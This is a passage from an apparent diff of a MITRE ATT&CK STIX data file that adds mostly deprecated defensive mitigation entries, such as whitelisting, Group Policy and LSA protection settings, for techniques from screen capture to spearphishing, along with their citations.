"mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1029" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-25T11:39:28.002Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Screen Capture Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--51b37302-b844-4c08-ac98-ae6955ed1f55", + "external_references": [ + { + "external_id": "T1113", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1113" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T11:39:54.228Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Block .scr files from being executed from non-standard locations. Set Group Policy to force users to have a dedicated screensaver where local changes should not override the settings to prevent changes. Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver GP)", + "type": "course-of-action", + "name": "Screensaver Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--9da16278-c6c5-4410-8a6b-9c16ce8005b3", + "external_references": [ + { + "external_id": "T1180", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1180" + }, + { + "source_name": "TechNet Screensaver GP", + "description": "Microsoft. (n.d.). Customizing the Desktop. Retrieved December 5, 2017.", + "url": "https://technet.microsoft.com/library/cc938799.aspx" + } + ], + "modified": "2019-07-25T11:40:31.541Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.\n\nConfigure Office security settings enable Protected View, to execute within a sandbox environment, and to block macros through Group Policy. (Citation: Microsoft Block Office Macros) Other types of virtualization and application microsegmentation may also mitigate the impact of compromise. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)", + "type": "course-of-action", + "name": "Scripting Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--57019a80-8523-46b6-be7d-f763a15a2cc6", + "external_references": [ + { + "external_id": "T1064", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1064" + }, + { + "source_name": "Microsoft Block Office Macros", + "description": "Windows Defender Research. (2016, March 22). New feature in Office 2016 can block macros and help prevent infection. Retrieved April 11, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/" + }, + { + "source_name": "Ars Technica Pwn2Own 2017 VM Escape", + "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", + "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/" + } + ], + "modified": "2019-07-25T11:40:52.342Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Security Software Discovery Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--bd2554b8-634f-4434-a986-9b49c29da2ae", + "external_references": [ + { + "external_id": "T1063", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1063" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T11:41:14.643Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", + "type": "course-of-action", + "name": "Security Support Provider Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--9e57c770-5a39-49a2-bb91-253ba629e3ac", + "external_references": [ + { + "external_id": "T1101", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1101" + }, + { + "source_name": "Graeber 2014", + "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", + "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html" + }, + { + "source_name": "Microsoft Configure LSA", + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.", + "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx" + } + ], + "modified": "2019-07-25T11:41:39.946Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Service Execution Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--d5dce4b9-f1fa-4c03-aff9-ce177246cb64", + "external_references": [ + { + "external_id": "T1035", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1035" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T11:42:04.284Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.", + "type": "course-of-action", + "name": "Service Registry Permissions Weakness Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--9378f139-10ef-4e4b-b679-2255a0818902", + "external_references": [ + { + "external_id": "T1058", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1058" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "modified": "2019-07-25T11:42:29.377Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure proper process, registry, and file permissions are in place to inhibit adversaries from disabling or interfering with critical services. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Harden systems used to serve critical network, business, and communications functions. Operate intrusion detection, analysis, and response systems on a separate network from the production environment to lessen the chances that an adversary can see and interfere with critical response functions.", + "type": "course-of-action", + "name": "Service Stop Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--417fed8c-bd76-48b5-90a2-a88882a95241", + "external_references": [ + { + "external_id": "T1489", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1489" + } + ], + "modified": "2019-07-25T11:42:52.240Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2019-04-24T17:01:10.433Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised. Additionally, the number of programs with setuid or setgid bits set should be minimized across a system.", + "type": "course-of-action", + "name": "Setuid and Setgid Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--073cc04d-ac46-4f5a-85d7-83a91ecd6a19", + "external_references": [ + { + "external_id": "T1166", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1166" + } + ], + "modified": "2019-07-25T11:43:19.870Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.\n\nEnsure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems. (Citation: acunetix Server Secuirty) (Citation: NIST Server Security July 2008)", + "type": "course-of-action", + "name": "Shared Webroot Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--43b366a4-b5ff-4d4e-8a3b-f09a9d2faff5", + "external_references": [ + { + "external_id": "T1051", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1051" + }, + { + "source_name": "acunetix Server Secuirty", + "description": "Acunetix. (n.d.). Web Server Security and Database Server Security. Retrieved July 26, 2018.", + "url": "https://www.acunetix.com/websitesecurity/webserver-security/" + }, + { + "source_name": "NIST Server Security July 2008", + "description": "Scarfone, K. et al.. (2008, July). NIST Special Publication 800-123 - Guide to General Server Security. Retrieved July 26, 2018.", + "url": "https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-123.pdf" + } + ], + "modified": "2019-07-25T11:43:54.859Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)\n\nIdentify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Shortcut Modification Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--a13e35cc-8c90-4d77-a965-5461042c1612", + "external_references": [ + { + "external_id": "T1023", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1023" + }, + { + "source_name": "UCF STIG Symbolic Links", + "description": "UCF. (n.d.). Unauthorized accounts must not have the Create symbolic links user right.. Retrieved December 18, 2017.", + "url": "https://www.stigviewer.com/stig/windows_server_2008_r2_member_server/2015-06-25/finding/V-26482" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T11:44:15.639Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Certain signed binaries that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these binaries if they are not required for a given system or network to prevent potential misuse by adversaries. If these binaries are required for use, then restrict execution of them to privileged accounts or groups that need to use them to lessen the opportunities for malicious use.", + "type": "course-of-action", + "name": "Signed Binary Proxy Execution Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--28c0f30c-32c3-4c6c-a474-74820e55854f", + "external_references": [ + { + "external_id": "T1218", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1218" + } + ], + "modified": "2019-07-25T11:44:39.451Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.", + "type": "course-of-action", + "name": "Signed Script Proxy Execution Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--51048ba0-a5aa-41e7-bf5d-993cd217dfb2", + "external_references": [ + { + "external_id": "T1216", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1216" + } + ], + "modified": "2019-07-25T11:45:01.486Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", + "type": "course-of-action", + "name": "Software Configuration", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "external_references": [ + { + "external_id": "M1054", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1054" + } + ], + "modified": "2019-07-19T14:57:15.656Z", + "x_mitre_version": "1.0", + "created": "2019-07-19T14:40:23.529Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.\n\nIdentify and prevent execution of potentially malicious software that may have been packed by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Software Packing Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--c95c8b5c-b431-43c9-9557-f494805e2502", + "external_references": [ + { + "external_id": "T1045", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1045" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T11:45:24.150Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Due to potential legitimate uses of source commands, it's may be difficult to mitigate use of this technique.", + "type": "course-of-action", + "name": "Source Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--5391ece4-8866-415d-9b5e-8dc5944f612a", + "external_references": [ + { + "external_id": "T1153", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1153" + } + ], + "modified": "2019-07-25T11:45:45.651Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Prevent files from having a trailing space after the extension.", + "type": "course-of-action", + "name": "Space after Filename Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--02f0f92a-0a51-4c94-9bda-6437b9a93f22", + "external_references": [ + { + "external_id": "T1151", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1151" + } + ], + "modified": "2019-07-25T11:46:32.010Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nBlock unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).\n\nBecause this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails. To prevent the attachments from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.", + "type": "course-of-action", + "name": "Spearphishing Attachment Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--8f6b5ca6-263a-4ea9-98f3-afd2a3cd8119", + "external_references": [ + { + "external_id": "T1193", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1193" + } + ], + "modified": "2019-07-25T11:50:34.690Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk. Other mitigations can take place as [User Execution](https://attack.mitre.org/techniques/T1204) occurs.", + "type": "course-of-action", + "name": "Spearphishing Link Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--ad7f983d-d5a8-4fce-a38c-b68eda61bf4e", + "external_references": [ + { + "external_id": "T1192", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1192" + } + ], + "modified": "2019-07-25T11:59:46.032Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.\n\nBecause this technique involves use of legitimate services and user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. To prevent the downloads from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.", + "type": "course-of-action", + "name": "Spearphishing via Service Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--c861bcb1-946f-450d-ab75-d4e3c1103a56", + "external_references": [ + { + "external_id": "T1194", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1194" + } + ], + "modified": "2019-07-25T12:00:12.285Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "type": "course-of-action", + "name": "Standard Application Layer Protocol Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--addb3703-5a59-4461-9bcd-7e2b5d4e92a0", + "external_references": [ + { + "external_id": "T1071", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1071" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-25T12:00:42.159Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)", + "type": "course-of-action", + "name": "Standard Cryptographic Protocol Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--a766ce73-5583-48f3-b7c0-0bb43c6ef8c7", + "external_references": [ + { + "external_id": "T1032", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1032" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": 